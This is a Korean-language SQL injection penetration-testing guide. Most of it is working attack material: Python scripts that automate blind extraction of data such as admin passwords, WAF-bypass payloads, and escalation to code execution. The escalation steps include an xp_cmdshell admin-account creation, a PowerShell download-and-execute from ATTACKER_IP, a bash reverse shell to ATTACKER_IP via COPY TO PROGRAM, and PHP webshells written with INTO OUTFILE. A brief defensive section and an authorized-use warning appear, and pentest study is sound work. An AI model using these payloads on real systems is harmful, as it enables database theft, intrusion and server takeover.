기본 원리: DBMS 내부 구조
SQL이 실행되는 과정
DBMS는 클라이언트에서 SQL 문자열을 받아 다음 과정으로 처리한다:
1. 렉서(Lexer): SQL 문자열을 토큰으로 분리
"SELECT * FROM users WHERE id = 1"
→ [SELECT] [*] [FROM] [users] [WHERE] [id] [=] [1]
2. 파서(Parser): 토큰을 문법 트리(AST)로 변환
검증: 문법 오류, 테이블/컬럼 존재 여부
3. 옵티마이저(Optimizer): 실행 계획 최적화
인덱스 사용 여부, JOIN 순서 결정
4. 실행 엔진: 실제 데이터 조회/변경
SQL Injection이 가능한 이유: DBMS는 렉서 단계에서 이미 문자열을 파싱한다. 사용자 입력이 쿼리에 직접 삽입되면, 입력 안의 SQL 특수문자(', --, ; 등)가 쿼리의 구조 자체를 바꿔버린다.
# 취약한 코드
user_input = "' OR '1'='1"
query = f"SELECT * FROM users WHERE name = '{user_input}'"
# 결과: SELECT * FROM users WHERE name = '' OR '1'='1'
# ↑ 항상 참 → 모든 레코드 반환
# 안전한 코드 (Prepared Statement)
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))
# DBMS가 ? 자리에 name = 'user_input' 으로 파라미터 바인딩
# 특수문자가 SQL 구문으로 해석되지 않고 문자열 값으로만 처리됨
0. DBMS 종류 식별
SQLi 취약점 발견 후 가장 먼저 할 일은 대상 DBMS 파악이다. DBMS마다 SQL 문법, 시스템 테이블, 내장 함수가 다르다.
-- 문자열 연결 연산자 차이로 식별
-- 입력값이 그대로 SQL에 삽입되는 구조에서:
te' 'st -- MySQL: 공백은 문자열 연결자 → 'test'와 동일 → 정상 결과
te'+'st -- MSSQL: + 연결자 → 'test' → 정상 결과
te'||'st -- Oracle/PostgreSQL: || 연결자 → 'test' → 정상 결과
-- 버전 확인 (에러 기반 또는 UNION 사용)
SELECT @@version -- MySQL, MSSQL
SELECT version() -- PostgreSQL
SELECT * FROM v$version -- Oracle
-- MySQL 전용 주석 문법
SELECT 1+1 -- comment
SELECT 1+1 #comment -- MySQL만 # 주석 지원
SELECT 1+1 /*comment*/ -- 공통
| DBMS | 연결 연산자 | 주석 | 버전 함수 |
|---|---|---|---|
| MySQL | (공백) 또는 CONCAT() |
--, #, /**/ |
@@version |
| MSSQL | + |
--, /**/ |
@@version |
| Oracle | || |
--, /**/ |
SELECT * FROM v$version |
| PostgreSQL | || 또는 CONCAT() |
--, /**/ |
version() |
1. DBMS별 정보 추출 구문
MySQL
-- 현재 DB 이름
SELECT DATABASE();
-- 모든 DB 목록 (information_schema)
SELECT schema_name FROM information_schema.schemata;
-- 테이블 목록
SELECT table_name FROM information_schema.tables
WHERE table_schema = DATABASE() LIMIT 0,1;
-- 컬럼 목록
SELECT column_name FROM information_schema.columns
WHERE table_name = 'users' LIMIT 0,1;
-- GROUP_CONCAT으로 한 번에 여러 값 추출 (UNION-based에서 유용)
SELECT GROUP_CONCAT(table_name SEPARATOR ',')
FROM information_schema.tables
WHERE table_schema = DATABASE();
MSSQL
-- 현재 DB
SELECT DB_NAME();
-- 모든 DB
SELECT name FROM sys.databases;
-- 테이블 목록 (두 가지 방법)
SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE';
SELECT name FROM sys.tables;
-- 컬럼 목록
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
SELECT c.name FROM sys.columns c
WHERE c.object_id = OBJECT_ID('users');
-- 현재 DB 사용자 및 권한
SELECT SYSTEM_USER; -- SQL Server 로그인 계정
SELECT USER_NAME(); -- DB 사용자명
SELECT IS_SRVROLEMEMBER('sysadmin'); -- sysadmin 여부 (1=예)
Oracle
-- 현재 사용자(스키마)
SELECT USER FROM dual;
-- 모든 사용자 목록
SELECT username FROM all_users;
-- 현재 스키마의 테이블
SELECT table_name FROM user_tables;
-- 특정 스키마의 테이블
SELECT table_name FROM all_tables WHERE owner = 'SCHEMA_NAME';
-- 컬럼 조회 (rownum으로 페이지네이션)
SELECT column_name FROM ALL_TAB_COLUMNS
WHERE table_name = 'USERS' AND rownum = 1;
-- 데이터 추출 (LIMIT 없음, rownum 사용)
SELECT * FROM (
SELECT col, ROWNUM as r FROM table_name
) WHERE r = 1;
PostgreSQL
-- 현재 DB
SELECT current_database();
-- 모든 DB
SELECT datname FROM pg_database;
-- 테이블 목록 (두 가지 방법)
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
SELECT tablename FROM pg_tables WHERE schemaname = 'public';
-- 컬럼 (시스템 카탈로그)
SELECT attname, format_type(atttypid, atttypmod)
FROM pg_attribute
WHERE attrelid = 'users'::regclass
AND attnum > 0
AND NOT attisdropped;
-- 현재 사용자 권한
SELECT current_user;
SELECT pg_has_role('superuser', 'MEMBER'); -- 슈퍼유저 여부
2. Blind SQLi 자동화 Python 코드
Boolean-based Blind — 기본 원리
서버가 에러나 결과를 직접 반환하지 않지만, 쿼리가 참일 때와 거짓일 때 응답이 다른 경우를 이용한다.
import requests
import string
import time
url = 'https://target.com/search'
headers = {"User-Agent": "Mozilla/5.0"}
cookies = {"session": "your_session_cookie"}
# 데이터 추출 함수: 한 글자씩 ASCII 값 비교
def extract_data(query_template: str, max_rows: int = 10):
charset = string.ascii_letters + string.digits + "_-@. "
results = []
for row in range(max_rows):
# 길이 먼저 추출 (최대 50자 가정)
length = 0
for i in range(1, 51):
# CASE WHEN: 조건 참이면 1, 거짓이면 2
payload = f"' AND 1=(CASE WHEN LENGTH(({query_template} LIMIT {row},1))={i} THEN 1 ELSE 2 END) -- -"
r = requests.post(url, headers=headers, cookies=cookies,
data={"q": payload}, timeout=10)
time.sleep(0.3)
if '정상응답' in r.text: # 참일 때 나타나는 키워드로 교체
length = i
break
if length == 0:
break
# 길이만큼 각 글자 추출
result = ''
for pos in range(1, length + 1):
for ch in charset:
payload = (f"' AND 1=(CASE WHEN "
f"ASCII(SUBSTRING(({query_template} LIMIT {row},1),{pos},1))"
f"=ORD('{ch}') THEN 1 ELSE 2 END) -- -")
r = requests.post(url, headers=headers, cookies=cookies,
data={"q": payload}, timeout=10)
time.sleep(0.3)
if '정상응답' in r.text:
result += ch
print(f" [{row}][{pos}] → '{ch}'")
break
print(f"행 {row}: {result}")
results.append(result)
return results
# 사용 예시
extract_data("SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()")
extract_data("SELECT password FROM users WHERE username='admin'")
Binary Search 최적화 — 요청 수 대폭 감소
선형 탐색은 ASCII 범위(127자)만큼 요청을 보낸다. 이진 탐색으로 log2(127) ≈ 7회로 줄인다.
def extract_char_binary(query: str, row: int, pos: int) -> int:
"""이진 탐색으로 한 글자의 ASCII 값 추출 (최대 7회 요청)"""
lo, hi = 32, 126 # 출력 가능 ASCII 범위
while lo < hi:
mid = (lo + hi + 1) // 2 # 올림 나눗셈 (무한루프 방지)
payload = (f"' AND 1=(CASE WHEN "
f"ASCII(SUBSTRING(({query} LIMIT {row},1),{pos},1))>={mid}"
f" THEN 1 ELSE 2 END) -- -")
r = requests.post(url, headers=headers, cookies=cookies,
data={"q": payload}, timeout=10)
time.sleep(0.2)
if '정상응답' in r.text:
lo = mid
else:
hi = mid - 1
return lo
# 전체 데이터 추출
query = "SELECT secret FROM flags"
for row in range(5):
length = extract_length(query, row) # 위 length 추출 코드 참고
result = ''
for pos in range(1, length + 1):
ascii_val = extract_char_binary(query, row, pos)
result += chr(ascii_val)
print(f"행 {row}: {result}")
Oracle — Unicode 문자 추출 (ASCIISTR 활용)
Oracle에서 한글 등 멀티바이트 문자는 ASCII() 함수로 처리할 수 없다. ASCIISTR()은 비ASCII 문자를 \XXXX 형식의 16진수 유니코드로 변환해준다.
import requests, time, urllib.parse
requests.packages.urllib3.disable_warnings()
cookies = {"JSESSIONID": "your_session"}
url = "https://target.com/search"
SUCCESS_MARKER = "expected_text"
def oracle_send(payload: str) -> bool:
r = requests.post(url, cookies=cookies, data={"param": payload},
verify=False, timeout=10)
time.sleep(0.8)
return SUCCESS_MARKER in r.text
# Oracle rownum 기반 페이지네이션
BASE_QUERY = "(SELECT col FROM (SELECT col, ROWNUM AS r FROM target_table) WHERE r = {row})"
def get_oracle_char(row: int, pos: int) -> str:
q = BASE_QUERY.format(row=row)
# ASCIISTR이 \로 시작하면 비ASCII(한글 등) 문자
payload = f"AND 1=(CASE WHEN SUBSTR(ASCIISTR(SUBSTR({q},{pos},1)),1,1)='\\' THEN 1 ELSE 2 END)"
is_unicode = oracle_send(payload)
if not is_unicode:
# ASCII 문자: 이진 탐색
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
payload = f"AND 1=(CASE WHEN ASCII(SUBSTR({q},{pos},1))>={mid} THEN 1 ELSE 2 END)"
lo = mid if oracle_send(payload) else hi
hi = mid - 1 if not oracle_send(payload) else hi
return chr(lo)
# 유니코드 문자: ASCIISTR 결과에서 4자리 16진수 추출
hex_str = ""
for hex_pos in range(2, 6): # \XXXX에서 X 4개
lo, hi = 0, 16
while lo < hi:
mid = (lo + hi) // 2
# INSTR로 16진수 자리 값 확인
payload = (f"AND 1=(CASE WHEN "
f"INSTR('0123456789ABCDEF',UPPER(SUBSTR(ASCIISTR(SUBSTR({q},{pos},1)),{hex_pos},1)))"
f">={mid + 1} THEN 1 ELSE 2 END)")
lo = mid + 1 if oracle_send(payload) else lo
hi = mid if not oracle_send(payload) else hi
hex_str += format(lo - 1, 'X')
return chr(int(hex_str, 16))
3. WAF 우회 기법
MySQL 조건부 실행 주석
MySQL 전용 확장 주석 /*!버전번호*/은 해당 버전 이상에서만 주석 내부를 실행한다. WAF는 일반 주석으로 인식해 통과하지만, MySQL은 실제 SQL로 실행한다.
-- /*!버전*/ 주석 안의 코드는 MySQL 버전 이상에서만 실행
SELECT /*!50000 * */ FROM users;
-- MySQL 5.0.0 이상: SELECT * FROM users
-- WAF: SELECT FROM users (주석으로 인식, 오류로 무시)
-- UNION SELECT 차단 우회
id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3 -- -
-- 키워드 사이 주석 삽입 (WAF 패턴 매칭 우회)
id=1' UNION/**/SELECT/**/1,2,3 -- -
id=1' UN/**/ION SEL/**/ECT 1,2,3 -- -
JSON 함수 기반 Tautology (WAF 우회)
WAF가 OR 1=1 같은 패턴을 탐지할 때, JSON 함수를 사용해 항상 참이 되는 조건을 만든다.
-- 전통적 tautology (WAF 탐지 쉬움)
' OR 1=1 --
' OR 'a'='a' --
-- JSON 기반 tautology (WAF 패턴 탐지 어려움)
-- PostgreSQL (@> 연산자: JSON 포함 여부)
' OR '{"b":2}'::jsonb @> '{"b":2}'::jsonb --
-- '{"b":2}'가 '{"b":2}'를 포함? → 항상 참
-- MySQL (JSON_EXTRACT)
' OR JSON_EXTRACT('{"id":1}', '$.id') = 1 --
' OR JSON_KEYS('{"a":1}') LIKE '%a%' --
-- MSSQL (JSON_VALUE, SQL Server 2016+)
' OR JSON_VALUE('{"x":1}', '$.x') = '1' --
' OR ISJSON('{"valid":true}') = 1 --
-- Oracle (JSON_VALUE, Oracle 12c+)
' OR JSON_VALUE('{"a":1}', '$.a' RETURNING NUMBER) = 1 --
HTTP Parameter Pollution (HPP)
동일한 파라미터를 여러 번 전송하면 서버에 따라 처리 방식이 다르다. WAF와 백엔드 앱이 서로 다른 값을 보는 점을 악용한다.
# ASP.NET/IIS: 두 값을 콤마로 합침
GET /search?q=SELECT+name&q=FROM+users
→ ASP.NET에서 q = "SELECT name,FROM users" → 실질적으로 SQL 조각 완성
# WAF가 첫 번째 파라미터 "SELECT name"만 보면 완전한 SQL이 아니라 통과
# 백엔드 ASP.NET이 두 값을 합쳐 "SELECT name,FROM users" 처리
# PHP/Apache: 마지막 값 사용
# JSP/Tomcat: 첫 번째 값 사용
| 서버/언어 | 동일 파라미터 처리 | 비고 |
|---|---|---|
| ASP.NET/IIS | 콤마로 합침 | val1,val2 |
| PHP/Apache | 마지막 값 | val2 |
| JSP/Tomcat | 첫 번째 값 | val1 |
| Perl/Apache | 첫 번째 값 | val1 |
4. SQL Injection → RCE
MSSQL — xp_cmdshell
MSSQL의 xp_cmdshell은 SQL Server 프로세스 권한으로 OS 명령을 실행하는 저장 프로시저다.
전제 조건:
- DB 연결 계정이
sysadmin역할 보유 - Stacked Queries 지원 (
;으로 여러 쿼리 연결 가능한 환경)
-- 1단계: 현재 권한 확인
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1이면 sysadmin 권한 있음
SELECT SYSTEM_USER; -- SQL Server 로그인명 (sa가 이상적)
SELECT USER_NAME(); -- DB 사용자명
-- 2단계: xp_cmdshell 상태 확인
SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';
-- 1 = 활성화됨, 0 = 비활성화 → 3단계 필요
-- 3단계: xp_cmdshell 활성화 (sysadmin 필요)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 4단계: OS 명령 실행
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup Administrators hacker /add';
SQLi에서 리버스 쉘까지:
-- Stacked Queries로 xp_cmdshell 활성화 + 리버스 쉘
id=1';
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
EXEC xp_cmdshell 'powershell -nop -enc BASE64_ENCODED_REVERSESHELL';
--
-- 또는 HTTP로 스크립트 다운로드 후 실행
id=1'; EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/rev.ps1'')' --
-- DECLARE로 WAF 우회 (키워드 분산)
id=1';
DECLARE @cmd NVARCHAR(4000);
SET @cmd = CONCAT(N'powershell -nop ', N'-c "reverse shell code"');
EXEC xp_cmdshell @cmd;
--
방어:
1. DB 연결 계정 sysadmin 권한 절대 금지 (최소 권한 원칙)
2. xp_cmdshell 영구 비활성화 + 주기적 점검
3. SQL Server 서비스 계정을 전용 저권한 계정으로 실행
4. Stacked Queries 차단 (ORM 사용, API 레이어에서 단일 쿼리 강제)
5. WAF/DAM에서 xp_cmdshell, sp_configure 키워드 탐지
PostgreSQL — COPY TO PROGRAM
PostgreSQL의 COPY TO PROGRAM은 쿼리 결과를 외부 프로그램으로 파이프한다. superuser 또는 pg_execute_server_program 역할이 있으면 OS 명령을 실행할 수 있다.
-- 권한 확인
SELECT current_user;
SELECT usesuper FROM pg_user WHERE usename = current_user;
-- OS 명령 실행
COPY (SELECT 1) TO PROGRAM 'id > /tmp/out.txt';
COPY (SELECT 1) TO PROGRAM 'cat /etc/passwd > /tmp/out.txt';
-- 결과를 테이블로 받기
CREATE TABLE cmd_output(output text);
COPY cmd_output FROM PROGRAM 'id; hostname; uname -a';
SELECT * FROM cmd_output;
-- 리버스 쉘
COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
-- SQLi 페이로드
'; COPY (SELECT 1) TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' --
MySQL — INTO OUTFILE / DUMPFILE
MySQL에서 SELECT 결과를 파일로 쓰는 기능. 웹 루트에 PHP 웹쉘을 쓸 수 있으면 RCE가 된다.
-- 전제 조건: FILE 권한, secure_file_priv 설정 확인
SHOW VARIABLES LIKE 'secure_file_priv';
-- '' (빈 값) = 제한 없음, '/tmp' = /tmp에만 허용
-- 웹쉘 쓰기
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 실행
-- http://target.com/shell.php?cmd=id
-- 파일 읽기 (LOAD_FILE)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/shadow');
-- SQLi 페이로드
' UNION SELECT '<?php system($_REQUEST["c"]); ?>' INTO OUTFILE '/var/www/html/c.php' --
핵심 체크리스트
침투 테스트 SQL Injection 순서:
Step 1: DBMS 식별
- 문자열 연결 연산자 차이로 판단
- 에러 메시지 패턴 분석
- 버전 조회 쿼리 시도
Step 2: 취약 포인트 확인
- GET/POST 파라미터, Cookie, HTTP 헤더 (User-Agent, X-Forwarded-For 등)
- JSON 바디 파라미터
- 숫자형 vs 문자열형 파라미터 구별 (따옴표 필요 여부)
Step 3: 에러 기반 (Error-based) 시도
- 에러 메시지가 응답에 포함되는지 확인
- EXTRACTVALUE(), UPDATEXML() (MySQL) 등으로 데이터 추출
Step 4: UNION 기반 시도
- 컬럼 수 파악: ORDER BY N 으로 증가시키며 에러 여부 확인
- 출력 컬럼 파악: UNION SELECT NULL,NULL... 에서 NULL 대신 문자열 삽입
- 데이터 추출
Step 5: Blind 방식 (에러/응답 차이 없는 경우)
- Boolean-based: 조건에 따라 응답 크기/내용이 달라지는지 확인
- Time-based: SLEEP(5) (MySQL), WAITFOR DELAY '0:0:5' (MSSQL)
- Python 자동화 스크립트 작성 (이진 탐색으로 효율화)
Step 6: WAF 감지 및 우회
- 응답 코드 403, 406 → WAF 존재 가능성
- 조건부 주석, JSON 함수, HPP 등 적용
Step 7: 권한 확인 및 RCE 시도
- 현재 DB 사용자 권한 확인
- 가능하면 xp_cmdshell (MSSQL) / COPY TO PROGRAM (PgSQL) / INTO OUTFILE (MySQL)
⚠️ 이 내용은 허가된 침투 테스트 환경에서만 사용해야 한다. 무단 적용은 법적 처벌을 받을 수 있다.